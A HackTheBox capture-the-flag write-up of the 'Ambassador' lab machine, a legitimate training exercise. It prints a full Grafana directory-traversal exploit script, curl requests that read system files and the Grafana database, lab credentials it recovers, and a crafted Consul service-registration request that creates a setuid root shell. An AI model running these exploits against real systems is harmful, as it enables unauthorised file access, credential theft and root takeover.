Ambassador | HackTheBox

Overview

TitleAmbassador
DifficultyMedium
MachineLinux
Maker

In this medium machine we will exploit a directory traversal vulnarability in an outdated grafana instance to read config and db files. From that we will get passwords for grafana admin panel and mysql instance. Logging into the mysql instance leaks the SSH password for the user developer who has access to a git repo. The git commit history leaks a token used for Consul. We will use that token to execute command as root.

Used tools


Information Gathering

Enumerated open TCP ports:

 nmap -sC -sV 10.10.11.183 -oA nmap/initial
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-21 12:42 IST
Nmap scan report for 10.10.11.183
Host is up (0.51s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
3000/tcp open  ppp?
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 21 Jan 2023 07:14:57 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 21 Jan 2023 07:14:13 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 21 Jan 2023 07:14:21 GMT
|_    Content-Length: 0
3306/tcp open  nagios-nsca Nagios NSCA
| mysql-info:
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 222
|   Capabilities flags: 65535
|   Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, SupportsCompression, SupportsLoadDataLocal, ConnectWithDatabase, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, FoundRows, InteractiveClient, IgnoreSpaceBeforeParenthesis, ODBCClient, LongPassword, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 4B\x06\x0Bg^\x0E3\x10T\x0FW}cpl*i(\x0F
|_  Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=1/21%Time=63CB90C4%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contro
SF:l:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpir
SF:es:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:\
SF:x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protect
SF:ion:\x201;\x20mode=block\r\nDate:\x20Sat,\x2021\x20Jan\x202023\x2007:14
SF::13\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found<
SF:/a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCac
SF:he-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPra
SF:gma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20HttpO
SF:nly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-O
SF:ptions:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sa
SF:t,\x2021\x20Jan\x202023\x2007:14:21\x20GMT\r\nContent-Length:\x200\r\n\
SF:r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSess
SF:ionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found\
SF:r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\
SF:r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.txt
SF:%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;
SF:\x20mode=block\r\nDate:\x20Sat,\x2021\x20Jan\x202023\x2007:14:57\x20GMT
SF:\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.46 seconds

Port 80 - HTTP (Apache 2.4.41)

Port 80 is running on hugo, a static site generator. So we can’t find much in there except this post.

maybe a hint or something…

Port 3000 - HTTP (Grafana)

It is a grafana login page. And we can see the version in the bottom. We can use searchsploit to check whether the grafana version is vulnerable or not.

 searchsploit grafana
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                      | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read  | multiple/webapps/50581.py
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

And there’s an exploit for Grafana version 8.3.0 and below ( CVE-2021-43798 ) . Let’s copy that to the current directory using the -m flag.

 searchsploit -m 50581

Exploitation

Directory Traversal

Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: <grafana_host_url>/public/plugins//, where is the plugin ID for any installed plugin.

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

As we can see, the above script is trying to exploit a directory traversel. The script is first accessing /public/plugins directory and then trying to access a plugin from the list plugin_list followed by the path. We can try this in curl:

 curl --path-as-is "http://10.10.11.183:3000/public/plugins/testplugin/../../../../../../../../etc/passwd" -ik
HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Tue, 31 Jan 2023 12:23:47 GMT
Content-Length: 31

{"message":"Plugin not found"}

If we enter a plugin that is not from the plugin_list then the server returns a 404 error with {"message":"Plugin not found"}. If we use a valid plugin then the exploit works:

 curl --path-as-is "http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Remember to add the --path-as-is flag while using curl

Now we have to check for some default config file or database locations used in grafana in order to get the flag. While searching for it I found this github exploit and there is a paths.txt with all the default locations of config and db files. So let’s use that:

 curl --path-as-is "http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini" > grafana.ini

/etc/grafana/grafana.ini is a config file. Notice that in this file everything except the admin_password is commented out:

We can try logging in to the grafana admin panel using the password. But there isn’t much we can do in there. So let’s get the grafana.db file.

 curl "http://10.10.11.183:3000/public/plugins/welcome/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db" -o grafana.db

We can open this file using something like sqlitebrowser and under the table data-source we can see password to the user grafana:

And we can use these credentials to access not SSH but MySQL on port 3306

 mysql -h 10.10.11.183 -u grafana -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Alright we got access to mysql console.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (1.11 sec)

mysql> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.52 sec)

mysql> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (1.90 sec)

mysql>

And there’s the password for the user developer ( Note the hint from the hugo blog post ) encoded in base64

 echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468

Got the password now let’s ssh into the box and read the user flag.

 ssh developer@10.10.11.183
developer@10.10.11.183s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 31 Jan 2023 01:01:08 PM UTC

  System load:           0.03
  Usage of /:            80.9% of 5.07GB
  Memory usage:          39%
  Swap usage:            0%
  Processes:             229
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.183
  IPv6 address for eth0: dead:beef::250:56ff:feb9:e28b


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 31 11:22:34 2023 from 10.10.14.40
developer@ambassador:~$ whoami
developer
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@ambassador:~$ ls
snap  user.txt
developer@ambassador:~$ cat user.txt
**************************

Privilege Escalation

Local Enumeration

There’s a .gitconfig file in the home directory:

developer@ambassador:~$ cat .gitconfig
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app

So let’s checkout /opt

developer@ambassador:~$ cd /opt/
developer@ambassador:/opt$ ls -alp
total 16
drwxr-xr-x  4 root   root   4096 Sep  1 22:13 ./
drwxr-xr-x 20 root   root   4096 Sep 15 17:24 ../
drwxr-xr-x  6 consul consul 4096 Jan 31 10:40 consul/
drwxrwxr-x  5 root   root   4096 Mar 13  2022 my-app/
developer@ambassador:/opt$ cd my-app
developer@ambassador:/opt/my-app$ ls -alp
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 ./
drwxr-xr-x 4 root root 4096 Sep  1 22:13 ../
drwxrwxr-x 4 root root 4096 Mar 13  2022 env/
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git/
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget/
developer@ambassador:/opt/my-app$ cd ..
developer@ambassador:/opt$ cd consul
developer@ambassador:/opt/consul$ ls -alp
total 32
drwxr-xr-x 6 consul consul 4096 Jan 31 10:40 ./
drwxr-xr-x 4 root   root   4096 Sep  1 22:13 ../
-rw-r--r-- 1 consul consul  394 Mar 13  2022 checkpoint-signature
drwx------ 2 root   root   4096 Jan 31 10:41 checks/
-rw------- 1 consul consul   36 Mar 13  2022 node-id
drwxr-xr-x 3 consul consul 4096 Mar 13  2022 raft/
drwxr-xr-x 2 consul consul 4096 Mar 13  2022 serf/
drwx------ 2 root   root   4096 Jan 31 10:41 services/

/opt/my-app is a git directory and there’s a django app inside it. And then there’s consul

Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.

There’s an interesting script inside whackywidget

developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

According to the consul docs, the kv put command writes the data to the given path in the KV store. We can try the kv get command to read the password:

developer@ambassador:/opt/my-app/whackywidget$ consul kv get whackywidget/db/mysql_pw
Error querying Consul agent: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:read' on "whackywidget/db/mysql_pw")

Permission denied…

Let’s check if there’s a service running locally, then according to the api doc we can try to get the key from /v1/kv/my-key

developer@ambassador:/opt/my-app$ ss -tulpn | grep 8500
tcp    LISTEN  0       4096         127.0.0.1:8500         0.0.0.0:*

8500 is the default port and it is listening.

developer@ambassador:/opt/my-app$ curl http://127.0.0.1:8500/v1/kv/my-key
Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:read' on "my-key"

Permission denied again…

Anyway let’s check the git history of my-app using git log

developer@ambassador:/opt/my-app$ git log --all --oneline

33a53ef (HEAD -> main) tidy config script
c982db8 config script
8dce657 created project with django CLI
4b8597b .gitignore

developer@ambassador:/opt/my-app$ git show c982db8

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
new file mode 100755
index 0000000..35c08f6
--- /dev/null
+++ b/whackywidget/put-config-in-consul.sh
@@ -0,0 +1,4 @@
+# We use Consul for application config in production, this script will help set the correct values for the app
+# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

By checking out the previous commit, we can see the consul token.

Consul RCE via Services API

From searchsploit output we can see that there’s a metasploit script that expoloits an RCE

 searchsploit consul
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Meta | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services AP | linux/remote/46074.rb
Hassan Consulting Shopping Cart 1.18 - Directory Traversal  | cgi/remote/20281.txt
Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Ex | cgi/remote/21104.pl
PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote  | php/webapps/28864.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

I don’t want to use metasploit to exploit this. So let’s disect the exploit script.

def check
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path, '/v1/agent/self'),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      }
    })

There’s a check function which checks whether the service is vulnerable or not. It uses the consul token we found from git log inside X-Consul-Token header to access /v1/agent/self

developer@ambassador:/opt/my-app$ curl http://127.0.0.1:8500/v1/agent/self -H 'X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5'

We get a mess ( json data ) as output so we have to save that to a file. I can show a cool trick to save the file on the remote host:

# Run this in the box
developer@ambassador:/opt/my-app$ echo $(curl http://127.0.0.1:8500/v1/agent/self -H 'X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5' --silent ) | nc -lnvp 1234

# Run this in your machine
 nc 10.10.11.183 1234 > v1.agent.self.json

Or you can just copy paste the output instead…

The metasploit script then parses this json data and does some checks to find out whether it is vulnerable or not:

agent_info = JSON.parse(res.body)

    if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true
      return CheckCode::Vulnerable
    end

We can use jq to check these conditions rather than searching manually through the whole file:

 cat v1.agent.self.json | jq ".Config.EnableScriptChecks"
null
 cat v1.agent.self.json | jq ".DebugConfig.EnableScriptChecks"
null
 cat v1.agent.self.json | jq ".DebugConfig.EnableRemoteScriptChecks"
true

And we can see that EnableRemoteScriptChecks is true and hence it is vulnerable.

The exploit_command function sends a PUT request to v1/agent/service/register with the consul token and a json data. Inside the json data there’s a payload. We can add our reverse shell there.

def execute_command(cmd, opts = {})
    uri = target_uri.path
    service_name = Rex::Text.rand_text_alpha(5..10)
    print_status("Creating service '#{service_name}'")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(uri, 'v1/agent/service/register'),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      },
      'ctype' => 'application/json',
      'data' => {
        :ID => "#{service_name}",
        :Name => "#{service_name}",
        :Address => "127.0.0.1",
        :Port => 80,
        :check => {
          :script => "#{cmd}",
          :Args => ["sh", "-c", "#{cmd}"],
          :interval => "10s",
          :Timeout => "86400s"
        }
      }.to_json
    })

Once the service is created and check script is executed it sends another request to v1/agent/service/deregister/#service_name to remove the service.

    print_status("Service '#{service_name}' successfully created.")
    print_status("Waiting for service '#{service_name}' script to trigger")
    sleep(12)
    print_status("Removing service '#{service_name}'")
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(
        uri,
        "v1/agent/service/deregister/#{service_name}"
      ),
      'headers' => {
        'X-Consul-Token' => datastore['ACL_TOKEN']
      }
    })
  end

From this information we can craft a curl request to execute our payload:

curl -XPUT http://127.0.0.1:8500/v1/agent/service/register -H 'X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5' -H 'Content-Type: application/json' --data '{"ID": "h4r1337", "name": "h4r1337", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["sh", "-c", "cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash"], "interval": "10s", "Timeout": "86400s"}}'

updated at 2023-01-31